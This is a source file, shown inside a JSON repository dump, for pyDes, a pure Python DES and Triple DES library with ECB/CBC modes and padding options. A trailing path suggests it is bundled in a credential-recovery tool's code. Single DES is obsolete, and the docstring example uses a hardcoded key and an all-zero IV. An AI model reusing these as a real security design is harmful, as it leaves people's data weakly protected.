    "content": "#############################################################################\n#               Documentation                   #\n#############################################################################\n\n# Author:   Todd Whiteman\n# Date:     28th April, 2010\n# Version:  2.0.1\n# License:  MIT\n# Homepage: http://twhiteman.netfirms.com/des.html\n#\n# This is a pure python implementation of the DES encryption algorithm.\n# It's pure python to avoid portability issues, since most DES \n# implementations are programmed in C (for performance reasons).\n#\n# Triple DES class is also implemented, utilizing the DES base. Triple DES\n# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.\n#\n# See the README.txt that should come with this python module for the\n# implementation methods used.\n#\n# Thanks to:\n#  * David Broadwell for ideas, comments and suggestions.\n#  * Mario Wolff for pointing out and debugging some triple des CBC errors.\n#  * Santiago Palladino for providing the PKCS5 padding technique.\n#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.\n#\n\"\"\"A pure python implementation of the DES and TRIPLE DES encryption algorithms.\n\nClass initialization\n--------------------\npyDes.des(key, [mode], [IV], [pad], [padmode])\npyDes.triple_des(key, [mode], [IV], [pad], [padmode])\n\nkey     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes\n       for Triple DES\nmode    -> Optional argument for encryption type, can be either\n       pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)\nIV      -> Optional Initial Value bytes, must be supplied if using CBC mode.\n       Length must be 8 bytes.\npad     -> Optional argument, set the pad character (PAD_NORMAL) to use during\n       all encrypt/decrypt operations done with this instance.\npadmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)\n       to use during all encrypt/decrypt operations done with this instance.\n\nI recommend to use PAD_PKCS5 padding, as then you never need to worry about any\npadding issues, as the padding can be removed unambiguously upon decrypting\ndata that was encrypted using PAD_PKCS5 padmode.\n\nCommon methods\n--------------\nencrypt(data, [pad], [padmode])\ndecrypt(data, [pad], [padmode])\n\ndata    -> Bytes to be encrypted/decrypted\npad     -> Optional argument. Only when using padmode of PAD_NORMAL. For\n       encryption, adds this characters to the end of the data block when\n       data is not a multiple of 8 bytes. For decryption, will remove the\n       trailing characters that match this pad character from the last 8\n       bytes of the unencrypted data block.\npadmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL\n       or PAD_PKCS5). Defaults to PAD_NORMAL.\n      \n\nExample\n-------\nfrom pyDes import *\n\ndata = \"Please encrypt my data\"\nk = des(\"DESCRYPT\", CBC, \"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\n# For Python3, you'll need to use bytes, i.e.:\n#   data = b\"Please encrypt my data\"\n#   k = des(b\"DESCRYPT\", CBC, b\"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\nd = k.encrypt(data)\nprint \"Encrypted: %r\" % d\nprint \"Decrypted: %r\" % k.decrypt(d)\nassert k.decrypt(d, padmode=PAD_PKCS5) == data\n\n\nSee the module source (pyDes.py) for more examples of use.\nYou can also run the pyDes.py file without and arguments to see a simple test.\n\nNote: This code was not written for high-end systems needing a fast\n      implementation, but rather a handy portable solution with small usage.\n\n\"\"\"\n\nimport sys\n\n# _pythonMajorVersion is used to handle Python2 and Python3 differences.\n_pythonMajorVersion = sys.version_info[0]\n\n# Modes of crypting / cyphering\nECB = 0\nCBC = 1\n\n# Modes of padding\nPAD_NORMAL = 1\nPAD_PKCS5 = 2\n\n\n# PAD_PKCS5: is a method that will unambiguously remove all padding\n#            characters after decryption, when originally encrypted with\n#            this padding mode.\n# For a good description of the PKCS5 padding technique, see:\n# http://www.faqs.org/rfcs/rfc1423.html\n\n# The base class shared by des and triple des.\nclass _baseDes(object):\n    def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        if IV:\n            IV = self._guardAgainstUnicode(IV)\n        if pad:\n            pad = self._guardAgainstUnicode(pad)\n        self.block_size = 8\n        # Sanity checking of arguments.\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if IV and len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n\n        # Set the passed in variables\n        self._mode = mode\n        self._iv = IV\n        self._padding = pad\n        self._padmode = padmode\n    def getKey(self):\n        \"\"\"getKey() -> bytes\"\"\"\n        return self.__key\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object.\"\"\"\n        key = self._guardAgainstUnicode(key)\n        self.__key = key\n\n    def getMode(self):\n        \"\"\"getMode() -> pyDes.ECB or pyDes.CBC\"\"\"\n        return self._mode\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        self._mode = mode\n\n    def getPadding(self):\n        \"\"\"getPadding() -> bytes of length 1. Padding character.\"\"\"\n        return self._padding\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        self._padding = pad\n\n    def getPadMode(self):\n        \"\"\"getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        return self._padmode\n\n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        self._padmode = mode\n\n    def getIV(self):\n        \"\"\"getIV() -> bytes\"\"\"\n        return self._iv\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        if not IV or len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n        IV = self._guardAgainstUnicode(IV)\n        self._iv = IV\n\n    def _padData(self, data, pad, padmode):\n        # Pad data depending on the mode\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n\n        if padmode == PAD_NORMAL:\n            if len(data) % self.block_size == 0:\n                # No padding required.\n                return data\n\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if not pad:\n                raise ValueError(\"Data must be a multiple of \" + str(\n                    self.block_size) + \" bytes in length. Use padmode=PAD_PKCS5 or set the pad character.\")\n            data += (self.block_size - (len(data) % self.block_size)) * pad\n\n        elif padmode == PAD_PKCS5:\n            pad_len = 8 - (len(data) % self.block_size)\n            if _pythonMajorVersion < 3:\n                data += pad_len * chr(pad_len)\n            else:\n                data += bytes([pad_len] * pad_len)\n\n        return data\n\n    def _unpadData(self, data, pad, padmode):\n        # Unpad data depending on the mode.\n        if not data:\n            return data\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n\n        if padmode == PAD_NORMAL:\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if pad:\n                data = data[:-self.block_size] + \\\n                       data[-self.block_size:].rstrip(pad)\n\n        elif padmode == PAD_PKCS5:\n            if _pythonMajorVersion < 3:\n                pad_len = ord(data[-1])\n            else:\n                pad_len = data[-1]\n            data = data[:-pad_len]\n\n        return data\n\n    def _guardAgainstUnicode(self, data):\n        # Only accept byte strings or ascii unicode values, otherwise\n        # there is no way to correctly decode the data into bytes.\n        if _pythonMajorVersion < 3:\n            if isinstance(data, unicode):  # noqa\n                raise ValueError(\"pyDes can only work with bytes, not Unicode strings.\")\n        else:\n            if isinstance(data, str):\n                # Only accept ascii unicode values.\n                try:\n                    return data.encode('ascii')\n                except UnicodeEncodeError:\n                    pass\n                raise ValueError(\"pyDes can only work with encoded strings, not Unicode.\")\n        return data\n\n\n#############################################################################\n#                   DES                     #\n#############################################################################\nclass des(_baseDes):\n    \"\"\"DES encryption/decrytpion class\n\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key,[mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be exactly 8 bytes\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n\n    # Permutation and translation tables for DES\n    __pc1 = [56, 48, 40, 32, 24, 16, 8,\n             0, 57, 49, 41, 33, 25, 17,\n             9, 1, 58, 50, 42, 34, 26,\n             18, 10, 2, 59, 51, 43, 35,\n             62, 54, 46, 38, 30, 22, 14,\n             6, 61, 53, 45, 37, 29, 21,\n             13, 5, 60, 52, 44, 36, 28,\n             20, 12, 4, 27, 19, 11, 3\n             ]\n\n    # number left rotations of pc1\n    __left_rotations = [\n        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1\n    ]\n\n    # permuted choice key (table 2)\n    __pc2 = [\n        13, 16, 10, 23, 0, 4,\n        2, 27, 14, 5, 20, 9,\n        22, 18, 11, 3, 25, 7,\n        15, 6, 26, 19, 12, 1,\n        40, 51, 30, 36, 46, 54,\n        29, 39, 50, 44, 32, 47,\n        43, 48, 38, 55, 33, 52,\n        45, 41, 49, 35, 28, 31\n    ]\n\n    # initial permutation IP\n    __ip = [57, 49, 41, 33, 25, 17, 9, 1,\n            59, 51, 43, 35, 27, 19, 11, 3,\n            61, 53, 45, 37, 29, 21, 13, 5,\n            63, 55, 47, 39, 31, 23, 15, 7,\n            56, 48, 40, 32, 24, 16, 8, 0,\n            58, 50, 42, 34, 26, 18, 10, 2,\n            60, 52, 44, 36, 28, 20, 12, 4,\n            62, 54, 46, 38, 30, 22, 14, 6\n            ]\n\n    # Expansion table for turning 32 bit blocks into 48 bits\n    __expansion_table = [\n        31, 0, 1, 2, 3, 4,\n        3, 4, 5, 6, 7, 8,\n        7, 8, 9, 10, 11, 12,\n        11, 12, 13, 14, 15, 16,\n        15, 16, 17, 18, 19, 20,\n        19, 20, 21, 22, 23, 24,\n        23, 24, 25, 26, 27, 28,\n        27, 28, 29, 30, 31, 0\n    ]\n\n    # The (in)famous S-boxes\n    __sbox = [\n        # S1\n        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,\n         0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,\n         4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,\n         15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],\n\n        # S2\n        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,\n         3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,\n         0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,\n         13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],\n\n        # S3\n        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,\n         13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,\n         13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,\n         1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],\n\n        # S4\n        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,\n         13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,\n         10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,\n         3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],\n\n        # S5\n        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,\n         14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,\n         4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,\n         11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],\n\n        # S6\n        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,\n         10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,\n         9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,\n         4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],\n\n        # S7\n        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,\n         13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,\n         1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,\n         6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],\n\n        # S8\n        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,\n         1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,\n         7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,\n         2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],\n    ]\n\n    # 32-bit permutation function P used on the output of the S-boxes\n    __p = [\n        15, 6, 19, 20, 28, 11,\n        27, 16, 0, 14, 22, 25,\n        4, 17, 30, 9, 1, 7,\n        23, 13, 31, 26, 2, 8,\n        18, 12, 29, 5, 21, 10,\n        3, 24\n    ]\n\n    # final permutation IP^-1\n    __fp = [\n        39, 7, 47, 15, 55, 23, 63, 31,\n        38, 6, 46, 14, 54, 22, 62, 30,\n        37, 5, 45, 13, 53, 21, 61, 29,\n        36, 4, 44, 12, 52, 20, 60, 28,\n        35, 3, 43, 11, 51, 19, 59, 27,\n        34, 2, 42, 10, 50, 18, 58, 26,\n        33, 1, 41, 9, 49, 17, 57, 25,\n        32, 0, 40, 8, 48, 16, 56, 24\n    ]\n\n    # Type of crypting being done\n    ENCRYPT = 0x00\n    DECRYPT = 0x01\n\n    # Initialisation\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        # Sanity checking of arguments.\n        if len(key) != 8:\n            raise ValueError(\"Invalid DES key size. Key must be exactly 8 bytes long.\")\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.key_size = 8\n\n        self.L = []\n        self.R = []\n        self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)\n        self.final = []\n\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Must be 8 bytes.\"\"\"\n        _baseDes.setKey(self, key)\n        self.__create_sub_keys()\n\n    def __String_to_BitList(self, data):\n        \"\"\"Turn the string data, into a list of bits (1, 0)'s\"\"\"\n        if _pythonMajorVersion < 3:\n            # Turn the strings into integers. Python 3 uses a bytes\n            # class, which already has this behaviour.\n            data = [ord(c) for c in data]\n        l = len(data) * 8\n        result = [0] * l\n        pos = 0\n        for ch in data:\n            i = 7\n            while i >= 0:\n                if ch & (1 << i) != 0:\n                    result[pos] = 1\n                else:\n                    result[pos] = 0\n                pos += 1\n                i -= 1\n\n        return result\n\n    def __BitList_to_String(self, data):\n        \"\"\"Turn the list of bits -> data, into a string\"\"\"\n        result = []\n        pos = 0\n        c = 0\n        while pos < len(data):\n            c += data[pos] << (7 - (pos % 8))\n            if (pos % 8) == 7:\n                result.append(c)\n                c = 0\n            pos += 1\n\n        if _pythonMajorVersion < 3:\n            return ''.join([chr(c) for c in result])\n        else:\n            return bytes(result)\n\n    def __permutate(self, table, block):\n        \"\"\"Permutate this block with the specified table\"\"\"\n        return list(map(lambda x: block[x], table))\n\n    # Transform the secret key, so that it is ready for data processing\n    # Create the 16 subkeys, K[1] - K[16]\n    def __create_sub_keys(self):\n        \"\"\"Create the 16 subkeys K[1] to K[16] from the given key\"\"\"\n        key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))\n        i = 0\n        # Split into Left and Right sections\n        self.L = key[:28]\n        self.R = key[28:]\n        while i < 16:\n            j = 0\n            # Perform circular left shifts\n            while j < des.__left_rotations[i]:\n                self.L.append(self.L[0])\n                del self.L[0]\n\n                self.R.append(self.R[0])\n                del self.R[0]\n\n                j += 1\n\n            # Create one of the 16 subkeys through pc2 permutation\n            self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)\n\n            i += 1\n\n    # Main part of the encryption algorithm, the number cruncher :)\n    def __des_crypt(self, block, crypt_type):\n        \"\"\"Crypt the block of data through DES bit-manipulation\"\"\"\n        block = self.__permutate(des.__ip, block)\n        self.L = block[:32]\n        self.R = block[32:]\n\n        # Encryption starts from Kn[1] through to Kn[16]\n        if crypt_type == des.ENCRYPT:\n            iteration = 0\n            iteration_adjustment = 1\n        # Decryption starts from Kn[16] down to Kn[1]\n        else:\n            iteration = 15\n            iteration_adjustment = -1\n\n        i = 0\n        while i < 16:\n            # Make a copy of R[i-1], this will later become L[i]\n            tempR = self.R[:]\n\n            # Permutate R[i - 1] to start creating R[i]\n            self.R = self.__permutate(des.__expansion_table, self.R)\n\n            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))\n            B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42],\n                 self.R[42:]]\n            # Optimization: Replaced below commented code with above\n            # j = 0\n            # B = []\n            # while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.Kn[iteration][j]\n            #   j += 1\n            #   if j % 6 == 0:\n            #       B.append(self.R[j-6:j])\n\n            # Permutate B[1] to B[8] using the S-Boxes\n            j = 0\n            Bn = [0] * 32\n            pos = 0\n            while j < 8:\n                # Work out the offsets\n                m = (B[j][0] << 1) + B[j][5]\n                n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]\n\n                # Find the permutation value\n                v = des.__sbox[j][(m << 4) + n]\n\n                # Turn value into bits, add it to result: Bn\n                Bn[pos] = (v & 8) >> 3\n                Bn[pos + 1] = (v & 4) >> 2\n                Bn[pos + 2] = (v & 2) >> 1\n                Bn[pos + 3] = v & 1\n\n                pos += 4\n                j += 1\n\n            # Permutate the concatination of B[1] to B[8] (Bn)\n            self.R = self.__permutate(des.__p, Bn)\n\n            # Xor with L[i - 1]\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.L))\n            # Optimization: This now replaces the below commented code\n            # j = 0\n            # while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.L[j]\n            #   j += 1\n\n            # L[i] becomes R[i - 1]\n            self.L = tempR\n\n            i += 1\n            iteration += iteration_adjustment\n\n        # Final permutation of R[16]L[16]\n        self.final = self.__permutate(des.__fp, self.R + self.L)\n        return self.final\n\n    # Data to be encrypted/decrypted\n    def crypt(self, data, crypt_type):\n        \"\"\"Crypt the data in blocks, running it through des_crypt()\"\"\"\n\n        # Error check the data\n        if not data:\n            return ''\n        if len(data) % self.block_size != 0:\n            if crypt_type == des.DECRYPT:  # Decryption must work on 8 byte blocks\n                raise ValueError(\n                    \"Invalid data length, data must be a multiple of \" + str(self.block_size) + \" bytes\\n.\")\n            if not self.getPadding():\n                raise ValueError(\"Invalid data length, data must be a multiple of \" + str(\n                    self.block_size) + \" bytes\\n. Try setting the optional padding character\")\n            else:\n                data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()\n            # print \"Len of data: %f\" % (len(data) / self.block_size)\n\n        if self.getMode() == CBC:\n            if self.getIV():\n                iv = self.__String_to_BitList(self.getIV())\n            else:\n                raise ValueError(\"For CBC mode, you must supply the Initial Value (IV) for ciphering\")\n\n        # Split the data into blocks, crypting each one seperately\n        i = 0\n        dict = {}\n        result = []\n        # cached = 0\n        # lines = 0\n        while i < len(data):\n            # Test code for caching encryption results\n            # lines += 1\n            # if dict.has_key(data[i:i+8]):\n            # print \"Cached result for: %s\" % data[i:i+8]\n            #   cached += 1\n            #   result.append(dict[data[i:i+8]])\n            #   i += 8\n            #   continue\n\n            block = self.__String_to_BitList(data[i:i + 8])\n\n            # Xor with IV if using CBC mode\n            if self.getMode() == CBC:\n                if crypt_type == des.ENCRYPT:\n                    block = list(map(lambda x, y: x ^ y, block, iv))\n                    # j = 0\n                    # while j < len(block):\n                    #   block[j] = block[j] ^ iv[j]\n                    #   j += 1\n\n                processed_block = self.__des_crypt(block, crypt_type)\n\n                if crypt_type == des.DECRYPT:\n                    processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))\n                    # j = 0\n                    # while j < len(processed_block):\n                    #   processed_block[j] = processed_block[j] ^ iv[j]\n                    #   j += 1\n                    iv = block\n                else:\n                    iv = processed_block\n            else:\n                processed_block = self.__des_crypt(block, crypt_type)\n\n            # Add the resulting crypted block to our list\n            # d = self.__BitList_to_String(processed_block)\n            # result.append(d)\n            result.append(self.__BitList_to_String(processed_block))\n            # dict[data[i:i+8]] = d\n            i += 8\n\n        # print \"Lines: %d, cached: %d\" % (lines, cached)\n\n        # Return the full crypted string\n        if _pythonMajorVersion < 3:\n            return ''.join(result)\n        else:\n            return bytes.fromhex('').join(result)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self._padData(data, pad, padmode)\n        return self.crypt(data, des.ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be decrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after decrypting.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self.crypt(data, des.DECRYPT)\n        return self._unpadData(data, pad, padmode)\n\n\n#############################################################################\n#               Triple DES                  #\n#############################################################################\nclass triple_des(_baseDes):\n    \"\"\"Triple DES encryption/decrytpion class\n\n    This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or\n    the DES-EDE2 (when a 16 byte key is supplied) encryption methods.\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key, [mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be either 16 or\n            24 bytes long\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Either 16 or 24 bytes long.\"\"\"\n        self.key_size = 24  # Use DES-EDE3 mode\n        if len(key) != self.key_size:\n            if len(key) == 16:  # Use DES-EDE2 mode\n                self.key_size = 16\n            else:\n                raise ValueError(\"Invalid triple DES key size. Key must be either 16 or 24 bytes long\")\n        if self.getMode() == CBC:\n            if not self.getIV():\n                # Use the first 8 bytes of the key\n                self._iv = key[:self.block_size]\n            if len(self.getIV()) != self.block_size:\n                raise ValueError(\"Invalid IV, must be 8 bytes in length\")\n        self.__key1 = des(key[:8], self._mode, self._iv,\n                          self._padding, self._padmode)\n        self.__key2 = des(key[8:16], self._mode, self._iv,\n                          self._padding, self._padmode)\n        if self.key_size == 16:\n            self.__key3 = self.__key1\n        else:\n            self.__key3 = des(key[16:], self._mode, self._iv,\n                              self._padding, self._padmode)\n        _baseDes.setKey(self, key)\n\n    # Override setter methods to work on all 3 keys.\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        _baseDes.setMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setMode(mode)\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        _baseDes.setPadding(self, pad)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadding(pad)\n\n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        _baseDes.setPadMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadMode(mode)\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        _baseDes.setIV(self, IV)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setIV(IV)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        # Pad the data accordingly.\n        data = self._padData(data, pad, padmode)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                block = self.__key1.crypt(data[i:i + 8], ENCRYPT)\n                block = self.__key2.crypt(block, DECRYPT)\n                block = self.__key3.crypt(block, ENCRYPT)\n                self.__key1.setIV(block)\n                self.__key2.setIV(block)\n                self.__key3.setIV(block)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                return ''.join(result)\n            else:\n                return bytes.fromhex('').join(result)\n        else:\n            data = self.__key1.crypt(data, ENCRYPT)\n            data = self.__key2.crypt(data, DECRYPT)\n            return self.__key3.crypt(data, ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after\n        decrypting, no pad character is required for PAD_PKCS5.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                iv = data[i:i + 8]\n                block = self.__key3.crypt(iv, DECRYPT)\n                block = self.__key2.crypt(block, ENCRYPT)\n                block = self.__key1.crypt(block, DECRYPT)\n                self.__key1.setIV(iv)\n                self.__key2.setIV(iv)\n                self.__key3.setIV(iv)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                data = ''.join(result)\n            else:\n                data = bytes.fromhex('').join(result)\n        else:\n            data = self.__key3.crypt(data, DECRYPT)\n            data = self.__key2.crypt(data, ENCRYPT)\n            data = self.__key1.crypt(data, DECRYPT)\n        return self._unpadData(data, pad, padmode)\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/pyaes/__init__.py",
